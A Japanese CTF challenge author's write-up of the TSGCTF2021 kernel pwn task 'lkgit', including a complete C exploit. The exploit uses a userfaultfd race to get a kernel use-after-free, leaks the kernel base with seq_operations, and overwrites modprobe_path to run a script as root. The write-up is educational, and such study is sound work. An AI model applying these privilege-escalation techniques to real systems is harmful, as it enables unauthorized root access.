イントロ
いつかは忘れましたが、TSGCTF2021が開催されました。今年もFlatt Security
さんにスポンサーをしていただき開催することができました。ありがとうございます。
今年は院試なりで人生が崩壊していて作問する予定はなく、mora a.k.a パン人間
さんが全 pwn を作問するかと思われましたが、作問してない&&参加できない CTF を見守るのはつまらないため、1 問作りました。
作ったのは pwn の kernel 問題lkgitで、想定難易度 medium、最終得点 322pts、最終 solve 数 7(zer0pts/./Vespiary/hxp/Tokyowesterns/Super Guesser/L00P3R/DSGS4T)、first-blood はzer0pts
(公開後約 2h)となりました。TSG は難易度想定及び告知の仕方を間違えているという意見をたまに聞きますが、ぼくもそう思います。しかし pwn 勢に限ってはどのチームでも例外なく、皆一概に良心であり、性格が良く、朝は早く起き、一汁三菜を基本とした健全な食生活を送り、日々運動を欠かさない、とても素晴らしい人々である事であることが知られています(対極を成すのが crypto 勢です。すいません、嘘です。crypto も良い魔法使いばかりです)。よって、この問題も作問方針やレビューを受けて適切に難易度づけしました。
作問方針は、「kernel 問題で easy な問題があってもいいじゃないか。但し全部コピペはダメだよ!ほんの少しパズル要素があって、でもストレスフルで冗長なのは嫌!」です。一般に pwn の userland の beginner 問はオーバーフローなり OOB なりが出題されますが、それと同程度とまでは行かずとも典型的で解きやすい問題を設定しました。かといって、コピペはだめなので要点要点で自分でちゃんと考える必要のある問題にしたつもりです。kernel 問の中ではかなり easy な部類で、まぁ kernel 特有の面倒臭さを若干考慮して medium にしました。
おそらくcHeapやcoffeeは解いたけど、配布ファイルの中に bzImage を見つけてそっとパソコンをそっと閉じた人もいるかもしれませんが、本エントリは lkgit を題材にした kernel exploit 入門的な感じでできる限り丁寧に書こうと思うので、是非手元で試しつつ実際に exploit を動かしてみてください。そしてつよつよになって僕に pwn を教えてください。お願いします。
また、一般に writeup を書くのは偉いことであり、自分の問題の writeup を見るのは楽しい事であることが知られているため、他の人が書いた writeup も最後に載せています。
あと、Survey
は競技終了後の今でも(というか、なんなら 1 週間後、1 ヶ月後、1 年後)解答自体は出来るし、繰り返し送信することも可能なので、解き直してみて思ったことでも、この問題のココが嫌いだとかでも、秋田犬が好きだでも何でも良いので、送ってもらえるとチーム全員で泣いて喜んで泣いて反省して来年の TSGCTF が少しだけ良いものになります。
配布ファイル
さて、配布されたlkgit.tar.gzを展開すると、lkgitというディレクトリが出てきて、そのディレクトリには再度lkgit.tar.gzが入っています。ごめんなさい。kernel 問の作問時には Makefile で tar.gz まで一気に作るのですが、TSGCTF の問題はほぼ全て CTFd への登録の際に初めて tar.gz するという慣習があるため、2 回圧縮してしまいました。勿論配布後に確認したのですが、tar を開いて tar が出てきた時、自分の記憶が一瞬飛んだのかと思ってスルーしてしまいました。まぁ非本質です。
配布ファイルはこんな感じです。
dist.sh 1.
2├── bzImage: kernel image本体.
3 (./bzImage: Linux kernel x86 boot executable bzImage, version 5.10.25 (hack@ash) #1 Fri Oct 1 20:11:36 JST 2021, RO-rootFS, swap_dev 0x3, Normal VGA)
4├── rootfs.cpio: root filesystem
5├── run.sh: QEMUの起動スクリプト
6└── src: ソースコード達
7 ├── client
8 │ └── client.c: clientプログラム。読まなくてもOK.
9 ├── include: kernel/client共通ヘッダファイル
10 │ └── lkgit.h
11 └── kernel: LKMソースコード
12 └── lkgit.c因みに、カーネルのビルドホストがちゃんといじられていない場合 author の名前が分かって RECON 出来る可能性があります。今回はhack@ashにしました。
rootfs.cpioやbzImageの展開・圧縮の仕方等は以下を参考にしてみてください。
- https://github.com/smallkirby/snippet/blob/master/exploit/kernel/extract.sh
- https://github.com/smallkirby/snippet/blob/master/exploit/kernel/extract-vmlinux.sh
- https://github.com/smallkirby/snippet/blob/master/exploit/kernel/mr.sh
以下のスクリプトを使って起動すると、なんかいい感じにファイルシステムを展開したり圧縮したりして QEMU を立ち上げてくれるので、中身を書き換えたいときには便利です。
mr.sh 1#!/bin/bash
2
3filesystem="rootfs.cpio"
4extracted="./extracted"
5
6extract_filesystem() {
7 mkdir $extracted
8 cd $extracted
9 cpio -idv < "../$filesystem"
10 cd ../
11}
12
13# extract filesystem if not exists
14! [ -d "./extracted" ] && extract_filesystem
15
16# compress
17rm $filesystem
18chmod 777 -R $extracted
19cd $extracted
20find ./ -print0 | cpio --owner root --null -o -H newc > ../rootfs.cpio
21cd ../
22
23# run
24sh ./run.sh起動してみると、サンプルとなるクライアントプログラムが置いてあります。このクライアントプログラムは、ソースコードに書いてあるとおり exploit に実際は必要がありませんが、モジュールの大まかな意図した動作を把握させる他、exploit にそのまま使える utility 関数を提供する目的で添付しました。クライアントプログラム(そしてそのまま LKM 自体)の大まかな機能は以下の通りで、ファイルのハッシュ値の取得、及びハッシュ値から log をたどったり log を修正することができます。
let’s debug
さてさてデバッグですが、run.shに-sオプションをつけることで QEMU が GDB server を建ててくれるため、あとは GDB 側からattachするだけです。但し、僕の環境では kernel のデバッグでpwndbgを使うとステップ実行に異常時間を食うため、いつもバニラを使っています。以下の.gdbinitを参考にして心地よい環境を作ってみてください。
但し、シンボル情報はないため root でログインして/proc/kallsymsからシンボルを読んでデバッグしてください。この際、run.shとinitに以下のような変更をすると良いです。
1# init
234,35c34,35
3< echo 2 > /proc/sys/kernel/kptr_restrict
4< echo 1 > /proc/sys/kernel/dmesg_restrict
5---
6> echo 0 > /proc/sys/kernel/kptr_restrict
7> echo 0 > /proc/sys/kernel/dmesg_restrict
843c43,44
9< setsid cttyhack setuidgid user sh
10---
11> #setsid cttyhack setuidgid user sh
12> setsid cttyhack setuidgid root sh
13
14# run.sh
157c7
16< -append "console=ttyS0 oops=panic panic=1 quiet" \
17---
18> -append "console=ttyS0 panic=1" \
198a9
20> -s \
Vuln: race condition
さて、今回の脆弱性は明らかで race-condition が存在します。kernel 問題では、copy_from_user()やcopy_to_user()関数等でユーザランドとデータのやり取りを行う前に、ユーザランドのメモリに対してuserfaultfdというシスコールで監視を行うことで、登録したユーザランドのハンドラをフォルト時に呼ばせることができます。mmapで確保したページは、最初は zero-page に無条件でマップされているため、初めての write-access が発生した場合にフォルトが起きます(あと最近の userfaultfd では write-protected なページに対するハンドラを設定することも可能になっています)。このへんのテクニックの原理・詳細については以下のリポジトリに置いているため気になる人は見てみてください。
さて、本問題においてはlkgit_get_object()関数でコミットオブジェクトを取得する際に、kernelland から userland へのコピーが複数回発生します。よって、ここでフォルトを起こして kernel thread の処理を停止し、ユーザランドに処理を移すことができます。
1static long lkgit_get_object(log_object *req) {
2 long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
3 char hash_other[HASH_SIZE] = {0};
4 char hash[HASH_SIZE];
5 int target_ix;
6 hash_object *target;
7 if (copy_from_user(hash, req->hash, HASH_SIZE)) // ...1
8 goto end;
9
10 if ((target_ix = find_by_hash(hash)) != -1) {
11 target = objects[target_ix]; ...★1
12 if (copy_to_user(req->content, target->content, FILE_MAXSZ)) // ...2
13 goto end;
14
15 // validity check of hash
16 get_hash(target->content, hash_other);
17 if (memcmp(hash, hash_other, HASH_SIZE) != 0)
18 goto end;
19
20 if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ)) // ...3
21 goto end;
22 if (copy_to_user(req->hash, target->hash, HASH_SIZE)) // ...4
23 goto end;
24 ret = 0;
25 }
26
27end:
28 return ret;
29}それとは別に、新しく commit オブジェクトを作るlkgit_hash_object()において、hash 値が衝突すると古い方のオブジェクトがkfree()されるようになっています。まぁ、hash の衝突と言っても同じファイル(文字列)を渡せばいいだけなのでなんてことはありません。本当はほんものの git っぽく SHA-1 使って、commit オブジェクトと tree オブジェクトとか分けて・・・とか考えていたんですが、ソースコードが異常量になったので辞めました。あくまで今回のテーマは、おおよそ典型的だが要所で自分で考えなくてはいけないストレスレスな問題なので。
1static long save_object(hash_object *obj) {
2 int ix;
3 int dup_ix;
4 // first, find conflict of hash
5 if((dup_ix = find_by_hash(obj->hash)) != -1) {
6 kfree(objects[dup_ix]);
7 objects[dup_ix] = NULL;
8 }
9 // assign object
10 for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {
11 if (objects[ix] == NULL) {
12 objects[ix] = obj;
13 return 0;
14 }
15 }
16 return -LKGIT_ERR_UNKNOWN;
17}さて、kfree とレースが組み合わさった時kUAFをまず考えます。get 関数で処理を止めている間に処理を止めて、フォルトハンドラの中で hash 値が重複するオブジェクトを作成すると、そのオブジェクトが削除されます。しかし、このオブジェクトのアドレスは ★1 でスタックに積まれているため、その状態で get を resume させると、kfree()されたアドレスを使い続けることになり kUAF が成立します。
uffd using structure on the edge of two-pages
kUAF が出来たので、この構造体と同じサイズを持つ kernelland 構造体を新たに確保してkfreeされたオブジェクトの上に乗っけましょう。
1typedef struct {
2 char hash[HASH_SIZE];
3 char *content;
4 char *message;
5} hash_object;構造体のサイズは 0x20 なのでseq_operationsが使えますね。いい加減これを使うのも飽きたので他の構造体を使って SMEP/SMAP を回避させても良かったんですが、めんどくさくなるだけっぽかったのでseq_operations + modprobe_pathで行けるようにしました。seq_operationsの確保の仕方はこのへん
を参考にしてください。また、uffd を使った exploit のテンプレについては以下を参考にしてください。
https://github.com/smallkirby/snippet/blob/master/exploit/kernel/userfaultfd-exploit.c
但し、上の通りにやっても恐らく leak には失敗すると思います。ここが kernel 問題に慣れている人にとって多分唯一の一瞬だけ立ち止まる場所だと思います。get 関数を見返してみると、userland へアクセスを行う箇所が 4 箇所有ることが分かると思います。問題はどこでフォルトを起こして処理を止めると leak ができるかです。
- 取得する log の hash 値自体の取得。この時点では対象オブジェクトの特定自体ができていないため、止めても意味がありません。
contentのコピー。ここで止めた場合、seq_operationsがコミットオブジェクトの上にかぶさるため、その値は unknown になります。よって、直後に有る謎のvalidity_check()でひっかかって処理が終わってしまいます。よってここで止めるのもなしです。- ココで止めた場合、直後に validity check もなく、続く copy で
hashからシンボルを leak できるので嬉しいです。 - ココで止めても、コレ以降コピーがないため leak はできません。
よって、唯一の選択肢は 3 のmessageのコピーで止めることで、逆を言えばコレ以外で止めてはいけません。しかし、普通にユーザランドでmmapしたページに何も考えず構造体をおくと、1 の時点でフォルトが起きてしまい、うまく leak することができません。
さて、どうしましょう。といっても、恐らく答えは簡単に思いついて、構造体を 2 ページにまたがるように配置し、片方のページにだけフォルトの監視をつければ OKです。
AAW and modprobe_path overwrite
さて、これで kernbase の leak ができました。任意のシンボルのアドレスが分かったことになります。あとは AAW がほしいところです。ここまでで使っていないのはlkgit_amend_commitですが、これは内部で get 関数を呼び出す怪しい関数です。案の定、オブジェクトのアドレスをスタックに積んで保存しちゃっています。なので、ここで get の間にやはり処理を飛んでkfreeすれば解放されたオブジェクトに対して書き込みを行うことが出来ます。
1static long lkgit_amend_message(log_object *reqptr) {
2 long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
3 char buf[MESSAGE_MAXSZ];
4 log_object req = {0};
5 int target_ix;
6 hash_object *target;
7 if(copy_from_user(&req, reqptr->hash, HASH_SIZE))
8 goto end;
9
10 if ((target_ix = find_by_hash(req.hash)) != -1) {
11 target = objects[target_ix];
12 // save message temporarily
13 if (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))
14 goto end;
15 // return old information of object
16 ret = lkgit_get_object(reqptr);
17 // amend message
18 memcpy(target->message, buf, MESSAGE_MAXSZ);
19 }
20
21 end:
22 return ret;
23}また、2 つの構造体を比較してみると、messageとして確保される領域がlog_objectと同じサイズであることがわかります。
1#define MESSAGE_MAXSZ 0x20
2typedef struct {
3 char hash[HASH_SIZE];
4 char *content;
5 char *message;
6} hash_object;最後に、lkgit_hash_object()における各バッファの確保順を見てみると以下のようになっています。
1 char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL);
2 char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL);
3 hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL);よって、amend->get->止める->オブジェクト削除->新しくlog_objectの作成->amend 再開とすることで、amend で書き込む対象であるmessageを任意のアドレスに向けることが可能です。これで AAW になりました。
ここまできたら、あとはお決まりのmodprobe_pathテクニックによって root で任意のことが出来ます。modprobe_pathの悪用については、以下の 2 点を読むと原理と詳細が解ると思います。
- https://github.com/smallkirby/kernelpwn/blob/master/technique/modprobe_path.md
- https://github.com/smallkirby/kernelpwn/blob/master/important_config/STATIC_USERMODEHELPER.md
modprobe_pathのアドレスの特定については以下を参考にしてください。
full exploit
exploit.c 1/****************
2 *
3 * Full exploit of lkgit.
4 *
5****************/
6
7#define _GNU_SOURCE
8#include <string.h>
9#include <stdio.h>
10#include <fcntl.h>
11#include <stdint.h>
12#include <unistd.h>
13#include <assert.h>
14#include <stdlib.h>
15#include <signal.h>
16#include <poll.h>
17#include <pthread.h>
18#include <err.h>
19#include <errno.h>
20#include <netinet/in.h>
21#include <sched.h>
22#include <linux/bpf.h>
23#include <linux/filter.h>
24#include <linux/userfaultfd.h>
25#include <sys/syscall.h>
26#include <sys/ipc.h>
27#include <sys/msg.h>
28#include <sys/prctl.h>
29#include <sys/ioctl.h>
30#include <sys/mman.h>
31#include <sys/types.h>
32#include <sys/xattr.h>
33#include <sys/socket.h>
34#include <sys/uio.h>
35#include <sys/shm.h>
36
37#include "../src/include/lkgit.h"// commands
38
39#define DEV_PATH "/dev/lkgit" // the path the device is placed
40#define ulong unsigned long
41#define scu static const unsigned long
42
43#// constants
44#define PAGE 0x1000
45#define NO_FAULT_ADDR 0xdead0000
46#define FAULT_ADDR 0xdead1000
47#define FAULT_OFFSET PAGE
48#define MMAP_SIZE 4*PAGE
49#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
50// (END constants)
51
52// globals
53int uffd;
54struct uffdio_api uffdio_api;
55struct uffdio_register uffdio_register;
56int lkgit_fd;
57char buf[0x400];
58unsigned long len = 2 * PAGE;
59void *addr = (void*)NO_FAULT_ADDR;
60void *target_addr;
61size_t target_len;
62int tmpfd[0x300];
63int seqfd;
64struct sockaddr_in saddr = {0};
65struct msghdr socketmsg = {0};
66struct iovec iov[1];
67
68ulong single_start;
69ulong kernbase;
70
71ulong off_single_start = 0x01adc20;
72ulong off_modprobepath = 0x0c3cb20;
73// (END globals)
74
75
76// utils
77#define WAIT getc(stdin);
78#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
79 } while (0)
80ulong user_cs,user_ss,user_sp,user_rflags;
81
82/** module specific utils **/
83
84char* hash_to_string(char *hash) {
85 char *hash_str = calloc(HASH_SIZE * 2 + 1, 1);
86 for(int ix = 0; ix != HASH_SIZE; ++ix) {
87 sprintf(hash_str + ix*2, "%02lx", (unsigned long)(unsigned char)hash[ix]);
88 }
89 return hash_str;
90}
91
92char* string_to_hash(char *hash_str) {
93 char *hash = calloc(HASH_SIZE, 1);
94 char buf[3] = {0};
95 for(int ix = 0; ix != HASH_SIZE; ++ix) {
96 memcpy(buf, &hash_str[ix*2], 2);
97 hash[ix] = (char)strtol(buf, NULL, 16);
98 }
99 return hash;
100}
101
102void print_log(log_object *log) {
103 printf("HASH : %s\n", hash_to_string(log->hash));
104 printf("MESSAGE: %s\n", log->message);
105 printf("CONTENT: \n%s\n", log->content);
106}
107/** END of module specific utils **/
108
109
110void *conflict_during_fault(char *content) {
111 // commit with conflict of hash
112 char content_buf[FILE_MAXSZ] = {0};
113 char msg_buf[MESSAGE_MAXSZ] = {0};
114 memcpy(content_buf, content, FILE_MAXSZ); // hash became 00000000000...
115 hash_object req = {
116 .content = content_buf,
117 .message = content_buf,
118 };
119 printf("[.] committing with conflict...: %s\n", content);
120 assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
121 printf("[+] hash: %s\n", hash_to_string(req.hash));
122}
123
124// userfaultfd-utils
125static void* fault_handler_thread(void *arg)
126{
127 puts("[+] entered fault_handler_thread");
128
129 static struct uffd_msg msg; // data read from userfaultfd
130 //struct uffdio_copy uffdio_copy;
131 struct uffdio_range uffdio_range;
132 struct uffdio_copy uffdio_copy;
133 long uffd = (long)arg; // userfaultfd file descriptor
134 struct pollfd pollfd; //
135 int nready; // number of polled events
136
137 // set poll information
138 pollfd.fd = uffd;
139 pollfd.events = POLLIN;
140
141 // wait for poll
142 puts("[+] polling...");
143 while(poll(&pollfd, 1, -1) > 0){
144 if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
145 errExit("poll");
146
147 // read an event
148 if(read(uffd, &msg, sizeof(msg)) == 0)
149 errExit("read");
150
151 if(msg.event != UFFD_EVENT_PAGEFAULT)
152 errExit("unexpected pagefault");
153
154 printf("[!] page fault: %p\n", (void*)msg.arg.pagefault.address);
155
156 // Now, another thread is halting. Do my business.
157 char content_buf[FILE_MAXSZ] = {0};
158 if (target_addr == (void*)NO_FAULT_ADDR) {
159 puts("[+] first: seq_operations");
160 memset(content_buf, 'A', FILE_MAXSZ);
161 conflict_during_fault(content_buf);
162 puts("[+] trying to realloc kfreed object...");
163 if ((seqfd = open("/proc/self/stat", O_RDONLY)) <= 0) {
164 errExit("open seq_operations");
165 }
166
167 // trash
168 uffdio_range.start = msg.arg.pagefault.address & ~(PAGE - 1);
169 uffdio_range.len = PAGE;
170 if(ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)
171 errExit("ioctl-UFFDIO_UNREGISTER");
172 } else {
173 printf("[+] target == modprobe_path @ %p\n", (void*)kernbase + off_modprobepath);
174 strcpy(content_buf, "/tmp/evil\x00");
175 conflict_during_fault(content_buf);
176
177 puts("[+] trying to realloc kfreed object...");
178 long *buf = calloc(sizeof(long), sizeof(hash_object) / sizeof(long));
179 for (int ix = 0; ix != sizeof(hash_object) / sizeof(long); ++ix) {
180 buf[ix] = kernbase + off_modprobepath;
181 }
182
183 char content_buf[FILE_MAXSZ] = {0};
184 char hash_buf[HASH_SIZE] = {0};
185 strcpy(content_buf, "uouo-fish-life\x00");
186 hash_object req = {
187 .content = content_buf,
188 .message = (char*)buf,
189 };
190 assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
191 printf("[+] hash: %s\n", hash_to_string(req.hash));
192
193 // write evil message
194 puts("[+] copying evil message...");
195 char message_buf[PAGE] = {0};
196 strcpy(message_buf, "/tmp/evil\x00");
197 uffdio_copy.src = (unsigned long)message_buf;
198 uffdio_copy.dst = msg.arg.pagefault.address;
199 uffdio_copy.len = PAGE;
200 uffdio_copy.mode = 0;
201 if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
202 errExit("ioctl-UFFDIO_COPY");
203 }
204
205 break;
206 }
207
208 puts("[+] exiting fault_handler_thrd");
209}
210
211void register_userfaultfd_and_halt(void)
212{
213 puts("[+] registering userfaultfd...");
214
215 long uffd; // userfaultfd file descriptor
216 pthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel thread
217 struct uffdio_api uffdio_api;
218 struct uffdio_register uffdio_register;
219 int s;
220
221 // create userfaultfd file descriptor
222 uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
223 if(uffd == -1)
224 errExit("userfaultfd");
225
226 // enable uffd object via ioctl(UFFDIO_API)
227 uffdio_api.api = UFFD_API;
228 uffdio_api.features = 0;
229 if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
230 errExit("ioctl-UFFDIO_API");
231
232 // mmap
233 addr = mmap(target_addr, target_len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
234 printf("[+] mmapped @ %p\n", addr);
235 if(addr == MAP_FAILED || addr != target_addr)
236 errExit("mmap");
237
238 // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
239 // first step
240 if (target_addr == (void*)NO_FAULT_ADDR) {
241 uffdio_register.range.start = (size_t)(target_addr + PAGE);
242 uffdio_register.range.len = PAGE;
243 uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
244 } else {
245 // second step
246 uffdio_register.range.start = (size_t)(target_addr + PAGE);
247 uffdio_register.range.len = PAGE;
248 uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
249 }
250 //uffdio_register.mode = UFFDIO_REGISTER_MODE_WP; // write-protection
251 if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
252 errExit("ioctl-UFFDIO_REGISTER");
253
254 s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
255 if(s!=0){
256 errno = s;
257 errExit("pthread_create");
258 }
259
260 puts("[+] registered userfaultfd");
261}
262// (END userfaultfd-utils)
263
264
265int main(int argc, char *argv[])
266{
267 puts("[.] starting exploit...");
268 system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri");
269 system("echo -ne '#!/bin/sh\nchmod 777 /home/user/flag && cat /home/user/flag' > /tmp/evil");
270 system("chmod +x /tmp/evil");
271 system("chmod +x /tmp/nirugiri");
272
273
274 lkgit_fd = open(DEV_PATH, O_RDWR);
275 if(lkgit_fd < 0) {
276 errExit("open");
277 }
278
279 // register uffd handler
280 target_addr = (void*)NO_FAULT_ADDR;
281 target_len = 2 * PAGE;
282 register_userfaultfd_and_halt();
283 sleep(1);
284
285 log_object *log = (log_object*)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));
286 printf("[.] target addr: %p\n", target_addr);
287 printf("[.] log: %p\n", log);
288
289 // spray
290 puts("[.] heap spraying...");
291 for (int ix = 0; ix != 0x90; ++ix) {
292 tmpfd[ix] = open("/proc/self/stat", O_RDONLY);
293 }
294
295 // commit a file normaly
296 char content_buf[FILE_MAXSZ] = {0};
297 char msg_buf[MESSAGE_MAXSZ] = {0};
298 char hash_buf[HASH_SIZE] = {0};
299 memset(content_buf, 'A', FILE_MAXSZ); // hash became 00000000000...
300 strcpy(msg_buf, "This is normal commit.\x00");
301 hash_object req = {
302 .content = content_buf,
303 .message = msg_buf,
304 };
305 assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
306 printf("[+] hash: %s\n", hash_to_string(req.hash));
307
308 memset(content_buf, 0, FILE_MAXSZ);
309 strcpy(content_buf, "/tmp/evil\x00"); // hash is 46556c00000000000000000000000000
310 strcpy(msg_buf, "This is second commit.\x00");
311 assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);
312 printf("[+] hash: %s\n", hash_to_string(req.hash));
313
314
315 // try to get a log and invoke race
316 // this fault happens when copy_to_user(to = message), not when copy_to_user(to = content).
317 memset(log->hash, 0, HASH_SIZE);
318 assert(ioctl(lkgit_fd, LKGIT_GET_OBJECT, log) == 0);
319 print_log(log);
320
321 // kernbase leak
322 single_start = *(unsigned long*)log->hash;
323 kernbase = single_start - off_single_start;
324 printf("[!] single_start: %lx\n", single_start);
325 printf("[!] kernbase: %lx\n", kernbase);
326
327 // prepare for race again.
328 target_len = PAGE * 2;
329 target_addr = (void*)NO_FAULT_ADDR + PAGE*2;
330 register_userfaultfd_and_halt();
331 sleep(1);
332
333 // amend to race/AAW
334 log = (log_object *)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));
335 memcpy(log->hash, string_to_hash("46556c00000000000000000000000000"), HASH_SIZE); // hash is 46556c00000000000000000000000000
336 puts("[.] trying to race to achive AAW...");
337 int e = ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, log);
338 if (e != 0) {
339 if (e == -LKGIT_ERR_OBJECT_NOTFOUND) {
340 printf("[ERROR] object not found: %s\n", hash_to_string(log->hash));
341 } else {
342 printf("[ERROR] unknown error in AMEND.\n");
343 }
344 }
345
346 // nirugiri
347 puts("[!] executing evil script...");
348 system("/tmp/nirugiri");
349 system("cat /home/user/flag");
350
351 printf("[.] end of exploit.\n");
352 return 0;
353}今回はwgetこそ入っているもののネットワークモジュールが実装されていないため使えません。これはコンフィグ変にいじってデカ重になったりビルドし直したりするのが嫌だったのでこのままにしておきました。まぁ BASE64 で送るだけなので、大変さはそんなじゃないと思っています。送り方がわからない人は以下を見てください。
Community Writeups
解いてくれた人・復習してやってくれた人のブログとか writeup を集めます。(ただ、軽く見た感じ lkgit は触ってくれた人自体がとても少ないみたいで writeup も見つからず、わんわん泣いています。chat にジェラってます。まぁ chat 良い問題だからそれはそうなんですが)
1. LOOP3R さんによる解説 (in Discord of TSGCTF)
え、個人チームだったのか。 shm_fille_data を使ったようです。 あと uffd の MODE_WP はこの exploit だと使わなくてもいいよーなそうでもないよーな気はしますが、このブログでも触れた通りいい感じに使う機会はありそうです。 お見事。
2. しふくろさん(@shift_crops ) によるきれいな PoC
いつも参考にさせていただいておりまする。 きれいですわね。 こちらも leak は shm 経由で行っています。 関係ないけど scpwn に乗り換えようかな。
あとシステムに libc があって楽だったっぽいです(一瞬 tweet 見た時に非想定で一瞬で解けたのかと思ったけど、ただ便利だったっぽいので OK です。 ところで一般の kernel 問題って libc おいてないんだっけ。 僕はいつもローカルで 100%いけるようになってから static にして送るので気にしたことありませんでした)。
3. ptr-yudai さんのブログ
4. kileak (Super Guesser)さんによる完全無欠な writeup
これもう、公式 writeup にします、これ以上の説明がないので。 kileak さん、なんか聞いたことがあると思ったら、ぼくの故郷こと pwnable.xyz のいくつかの問題(attack,badayum,nin,knum)の作者さんですね、ありがとうございます! (ぼくは knum 解くのに 8 億年かかった記憶があります)
余談
CTF 中はみんはやにはまりました。 クイズを 100 問作って解いてもらっていました。 楽しかったです。 あと、CakeCTF を見習って swag として乾パンを贈ろうとしたんですが、駄目でした。
アウトロ
今回は kernel 問のイントロ的に作ってみました。leak のあとは heap 問にしたり SMEP/SMAP を回避させるバージョンも考えましたが、素直じゃないので辞めました。一応(慣れている人にとって面白いかどうかは別として)とっつきやすい問題になっていると思います。次はもっと勉強して問題解いていいのを作りたいです。あと、twitter も Discord もchat一色になっていて大泣きしています。
lkgit に関して不明点等合った場合は、Twitter
か Discord の DM で聞いてください。
何はともあれ、TSGCTF2020 終わりです。また来年、少しだけ成長して会いましょう。
参考
- ニルギリ: https://youtu.be/yvUvamhYPHw
- my kernelpwn repo: https://github.com/smallkirby/kernelpwn
続く…